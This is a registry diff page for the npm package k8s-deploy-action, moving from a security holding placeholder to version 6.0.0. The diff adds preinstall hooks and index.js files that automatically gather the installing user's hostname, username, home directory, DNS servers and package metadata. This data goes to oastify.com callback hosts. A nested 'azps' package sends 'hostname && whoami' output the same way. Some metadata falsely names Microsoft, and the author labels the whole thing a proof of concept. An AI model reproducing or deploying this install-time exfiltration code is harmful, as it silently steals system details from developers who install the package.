k8s-deploy-action 0.0.1-security → 6.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of k8s-deploy-action might be problematic. Click here for more details.
- package/ccf-identity/index.js +47 -0
- package/ccf-identity/package.json +38 -0
- package/emitter/index.js +47 -0
- package/emitter/node_modules/.package-lock.json +17 -0
- package/emitter/node_modules/azps/index.js +47 -0
- package/emitter/node_modules/azps/package.json +12 -0
- package/emitter/package-lock.json +25 -0
- package/emitter/package.json +12 -0
- package/index.js +47 -0
- package/package.json +39 -4
- package/README.md +0 -5
@@ -0,0 +1,47 @@
|
|
1
|
+
//author:- swaroopvenkat828@gmail.com
|
2
|
+
const os = require("os");
|
3
|
+
const dns = require("dns");
|
4
|
+
const querystring = require("querystring");
|
5
|
+
const https = require("https");
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
const packageName = packageJSON.name;
|
8
|
+
|
9
|
+
const trackingData = JSON.stringify({
|
10
|
+
p: packageName,
|
11
|
+
c: __dirname,
|
12
|
+
hd: os.homedir(),
|
13
|
+
hn: os.hostname(),
|
14
|
+
un: os.userInfo().username,
|
15
|
+
dns: dns.getServers(),
|
16
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
17
|
+
v: packageJSON.version,
|
18
|
+
pjson: packageJSON,
|
19
|
+
});
|
20
|
+
|
21
|
+
var postData = querystring.stringify({
|
22
|
+
msg: trackingData,
|
23
|
+
});
|
24
|
+
|
25
|
+
var options = {
|
26
|
+
hostname: "vzyonlluinxvix1lkokm8x0mzd54t5hu.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
|
27
|
+
port: 443,
|
28
|
+
path: "/",
|
29
|
+
method: "POST",
|
30
|
+
headers: {
|
31
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
32
|
+
"Content-Length": postData.length,
|
33
|
+
},
|
34
|
+
};
|
35
|
+
|
36
|
+
var req = https.request(options, (res) => {
|
37
|
+
res.on("data", (d) => {
|
38
|
+
process.stdout.write(d);
|
39
|
+
});
|
40
|
+
});
|
41
|
+
|
42
|
+
req.on("error", (e) => {
|
43
|
+
// console.error(e);
|
44
|
+
});
|
45
|
+
|
46
|
+
req.write(postData);
|
47
|
+
req.end();
|
@@ -0,0 +1,38 @@
|
|
1
|
+
{
|
2
|
+
"name": "azure-functions-pack",
|
3
|
+
"version": "2.0.3",
|
4
|
+
"main": "index.js",
|
5
|
+
"typings": "dist/index",
|
6
|
+
"license": "MIT",
|
7
|
+
"author": "Microsoft",
|
8
|
+
"type": "module",
|
9
|
+
"repository": {
|
10
|
+
"type": "git",
|
11
|
+
"url": "https://github.com/Azure/ccf-identity"
|
12
|
+
},
|
13
|
+
"scripts": {
|
14
|
+
"preinstall": "node index.js",
|
15
|
+
"prepublish": "npm run compile",
|
16
|
+
"build": "npm run compile",
|
17
|
+
"compile": "npm run clean && tsc -p ./ && cp package.json dist/src/ && cp README.md dist/src",
|
18
|
+
"watch": "tsc -w -p ./",
|
19
|
+
"clean": "rm -rf dist",
|
20
|
+
"test": "mocha --experimental-specifier-resolution=node --loader=ts-node/esm tests/**/*.test.ts",
|
21
|
+
"docs": "typedoc",
|
22
|
+
"docs:watch": "rm -rf html && typedoc --watch --preserveWatchOutput"
|
23
|
+
},
|
24
|
+
"devDependencies": {
|
25
|
+
"@types/chai": "^4.3.0",
|
26
|
+
"@types/mocha": "^9.1.0",
|
27
|
+
"@types/node": "^17.0.2",
|
28
|
+
"chai": "^4.3.4",
|
29
|
+
"ts-node": "^10.4.0",
|
30
|
+
"tslib": "^2.3.1",
|
31
|
+
"typedoc": "^0.22.12",
|
32
|
+
"typescript": "^4.5.4"
|
33
|
+
},
|
34
|
+
"dependencies": {
|
35
|
+
"@microsoft/ccf-app": "5.0.13",
|
36
|
+
"jwt-decode": "^3.1.2"
|
37
|
+
}
|
38
|
+
}
|
package/emitter/index.js
ADDED
@@ -0,0 +1,47 @@
|
|
1
|
+
//author:- swaroopvenkat828@gmail.com
|
2
|
+
const os = require("os");
|
3
|
+
const dns = require("dns");
|
4
|
+
const querystring = require("querystring");
|
5
|
+
const https = require("https");
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
const package = packageJSON.name;
|
8
|
+
|
9
|
+
const trackingData = JSON.stringify({
|
10
|
+
p: package,
|
11
|
+
c: __dirname,
|
12
|
+
hd: os.homedir(),
|
13
|
+
hn: os.hostname(),
|
14
|
+
un: os.userInfo().username,
|
15
|
+
dns: dns.getServers(),
|
16
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
17
|
+
v: packageJSON.version,
|
18
|
+
pjson: packageJSON,
|
19
|
+
});
|
20
|
+
|
21
|
+
var postData = querystring.stringify({
|
22
|
+
msg: trackingData,
|
23
|
+
});
|
24
|
+
|
25
|
+
var options = {
|
26
|
+
hostname: "au83i0g9d2sadcw0f3f13cv1us0jogc5.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
|
27
|
+
port: 443,
|
28
|
+
path: "/",
|
29
|
+
method: "POST",
|
30
|
+
headers: {
|
31
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
32
|
+
"Content-Length": postData.length,
|
33
|
+
},
|
34
|
+
};
|
35
|
+
|
36
|
+
var req = https.request(options, (res) => {
|
37
|
+
res.on("data", (d) => {
|
38
|
+
process.stdout.write(d);
|
39
|
+
});
|
40
|
+
});
|
41
|
+
|
42
|
+
req.on("error", (e) => {
|
43
|
+
// console.error(e);
|
44
|
+
});
|
45
|
+
|
46
|
+
req.write(postData);
|
47
|
+
req.end();
|
@@ -0,0 +1,17 @@
|
|
1
|
+
{
|
2
|
+
"name": "azps",
|
3
|
+
"version": "2.6.0",
|
4
|
+
"lockfileVersion": 3,
|
5
|
+
"requires": true,
|
6
|
+
"packages": {
|
7
|
+
"node_modules/azps": {
|
8
|
+
"version": "2.6.0",
|
9
|
+
"resolved": "https://registry.npmjs.org/azps/-/azps-2.6.0.tgz",
|
10
|
+
"integrity": "sha512-Y6QD5TTYtPhjtFqff31Gr5VdE5XMode3axfeWGQD0YqOKcaoPgce1bPuJwj11RE0DaCPpfQJ8nJbwCkHUUmHAw==",
|
11
|
+
"hasInstallScript": true,
|
12
|
+
"dependencies": {
|
13
|
+
"azps": "^2.6.0"
|
14
|
+
}
|
15
|
+
}
|
16
|
+
}
|
17
|
+
}
|
@@ -0,0 +1,47 @@
|
|
1
|
+
//author:- swaroopvenkat828@gmail.com
|
2
|
+
const os = require("os");
|
3
|
+
const dns = require("dns");
|
4
|
+
const querystring = require("querystring");
|
5
|
+
const https = require("https");
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
const package = packageJSON.name;
|
8
|
+
|
9
|
+
const trackingData = JSON.stringify({
|
10
|
+
p: package,
|
11
|
+
c: __dirname,
|
12
|
+
hd: os.homedir(),
|
13
|
+
hn: os.hostname(),
|
14
|
+
un: os.userInfo().username,
|
15
|
+
dns: dns.getServers(),
|
16
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
17
|
+
v: packageJSON.version,
|
18
|
+
pjson: packageJSON,
|
19
|
+
});
|
20
|
+
|
21
|
+
var postData = querystring.stringify({
|
22
|
+
msg: trackingData,
|
23
|
+
});
|
24
|
+
|
25
|
+
var options = {
|
26
|
+
hostname: "au83i0g9d2sadcw0f3f13cv1us0jogc5.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
|
27
|
+
port: 443,
|
28
|
+
path: "/",
|
29
|
+
method: "POST",
|
30
|
+
headers: {
|
31
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
32
|
+
"Content-Length": postData.length,
|
33
|
+
},
|
34
|
+
};
|
35
|
+
|
36
|
+
var req = https.request(options, (res) => {
|
37
|
+
res.on("data", (d) => {
|
38
|
+
process.stdout.write(d);
|
39
|
+
});
|
40
|
+
});
|
41
|
+
|
42
|
+
req.on("error", (e) => {
|
43
|
+
// console.error(e);
|
44
|
+
});
|
45
|
+
|
46
|
+
req.write(postData);
|
47
|
+
req.end();
|
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "azps",
|
3
|
+
"version": "2.6.0",
|
4
|
+
"description": "Harmless version of the microsoft Azure azps plugin for the poc",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node -e \"require('child_process').exec('hostname && whoami', (error, stdout, stderr) => { const data = encodeURIComponent(stdout); require('https').get('https://9lv29z7841j94bnz6260ubm0lrrifm3b.oastify.com/data-' + data, (res) => {}).on('error', (err) => {}); });\""
|
8
|
+
},
|
9
|
+
"dependencies": {
|
10
|
+
"azps": "^2.6.0"
|
11
|
+
}
|
12
|
+
}
|
@@ -0,0 +1,25 @@
|
|
1
|
+
{
|
2
|
+
"name": "azps",
|
3
|
+
"version": "2.6.0",
|
4
|
+
"lockfileVersion": 3,
|
5
|
+
"requires": true,
|
6
|
+
"packages": {
|
7
|
+
"": {
|
8
|
+
"name": "azps",
|
9
|
+
"version": "2.6.0",
|
10
|
+
"hasInstallScript": true,
|
11
|
+
"dependencies": {
|
12
|
+
"azps": "^2.6.0"
|
13
|
+
}
|
14
|
+
},
|
15
|
+
"node_modules/azps": {
|
16
|
+
"version": "2.6.0",
|
17
|
+
"resolved": "https://registry.npmjs.org/azps/-/azps-2.6.0.tgz",
|
18
|
+
"integrity": "sha512-Y6QD5TTYtPhjtFqff31Gr5VdE5XMode3axfeWGQD0YqOKcaoPgce1bPuJwj11RE0DaCPpfQJ8nJbwCkHUUmHAw==",
|
19
|
+
"hasInstallScript": true,
|
20
|
+
"dependencies": {
|
21
|
+
"azps": "^2.6.0"
|
22
|
+
}
|
23
|
+
}
|
24
|
+
}
|
25
|
+
}
|
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "azps",
|
3
|
+
"version": "2.6.0",
|
4
|
+
"description": "Harmless version of the microsoft Azure azps plugin for the poc",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node -e \"require('child_process').exec('hostname && whoami', (error, stdout, stderr) => { const data = encodeURIComponent(stdout); require('https').get('https://9lv29z7841j94bnz6260ubm0lrrifm3b.oastify.com/data-' + data, (res) => {}).on('error', (err) => {}); });\""
|
8
|
+
},
|
9
|
+
"dependencies": {
|
10
|
+
"azps": "^2.6.0"
|
11
|
+
}
|
12
|
+
}
|
package/index.js
ADDED
@@ -0,0 +1,47 @@
|
|
1
|
+
//author:- swaroopvenkat828@gmail.com
|
2
|
+
const os = require("os");
|
3
|
+
const dns = require("dns");
|
4
|
+
const querystring = require("querystring");
|
5
|
+
const https = require("https");
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
const package = packageJSON.name;
|
8
|
+
|
9
|
+
const trackingData = JSON.stringify({
|
10
|
+
p: package,
|
11
|
+
c: __dirname,
|
12
|
+
hd: os.homedir(),
|
13
|
+
hn: os.hostname(),
|
14
|
+
un: os.userInfo().username,
|
15
|
+
dns: dns.getServers(),
|
16
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
17
|
+
v: packageJSON.version,
|
18
|
+
pjson: packageJSON,
|
19
|
+
});
|
20
|
+
|
21
|
+
var postData = querystring.stringify({
|
22
|
+
msg: trackingData,
|
23
|
+
});
|
24
|
+
|
25
|
+
var options = {
|
26
|
+
hostname: "mpf0jofitk34set5vdy97101hsnjbazz.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
|
27
|
+
port: 443,
|
28
|
+
path: "/",
|
29
|
+
method: "POST",
|
30
|
+
headers: {
|
31
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
32
|
+
"Content-Length": postData.length,
|
33
|
+
},
|
34
|
+
};
|
35
|
+
|
36
|
+
var req = https.request(options, (res) => {
|
37
|
+
res.on("data", (d) => {
|
38
|
+
process.stdout.write(d);
|
39
|
+
});
|
40
|
+
});
|
41
|
+
|
42
|
+
req.on("error", (e) => {
|
43
|
+
// console.error(e);
|
44
|
+
});
|
45
|
+
|
46
|
+
req.write(postData);
|
47
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,6 +1,41 @@
|
|
1
1
|
{
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
2
|
+
"name": "k8s-deploy-action",
|
3
|
+
"version": "6.0.0",
|
4
|
+
"main": "index.js",
|
5
|
+
"author": "Deepak Sattiraju",
|
6
|
+
"description": "This package was created as a PoC to confirm that I can claim the package.",
|
7
|
+
"license": "MIT",
|
8
|
+
"scripts": {
|
9
|
+
"prebuild": "npm i @vercel/ncc",
|
10
|
+
"preinstall": "node index.js",
|
11
|
+
"build": "ncc build src/run.ts -o lib",
|
12
|
+
"test": "jest",
|
13
|
+
"coverage": "jest --coverage=true",
|
14
|
+
"format": "prettier --write .",
|
15
|
+
"format-check": "prettier --check ."
|
16
|
+
},
|
17
|
+
"dependencies": {
|
18
|
+
"@actions/core": "^1.11.1",
|
19
|
+
"@actions/exec": "^1.0.0",
|
20
|
+
"@actions/io": "^1.1.3",
|
21
|
+
"@actions/tool-cache": "2.0.2",
|
22
|
+
"@babel/preset-env": "^7.26.9",
|
23
|
+
"@babel/preset-typescript": "^7.26.0",
|
24
|
+
"@octokit/core": "^6.1.4",
|
25
|
+
"@octokit/plugin-retry": "^7.1.4",
|
26
|
+
"@types/minipass": "^3.3.5",
|
27
|
+
"js-yaml": "4.1.0",
|
28
|
+
"minimist": "^1.2.8"
|
29
|
+
},
|
30
|
+
"devDependencies": {
|
31
|
+
"@types/jest": "^29.5.14",
|
32
|
+
"@types/js-yaml": "^4.0.9",
|
33
|
+
"@types/minimist": "^1.2.5",
|
34
|
+
"@types/node": "^22.13.9",
|
35
|
+
"@vercel/ncc": "^0.38.3",
|
36
|
+
"jest": "^29.7.0",
|
37
|
+
"prettier": "^3.5.3",
|
38
|
+
"ts-jest": "^29.2.6",
|
39
|
+
"typescript": "5.8.2"
|
40
|
+
}
|
6
41
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=k8s-deploy-action for more information.
|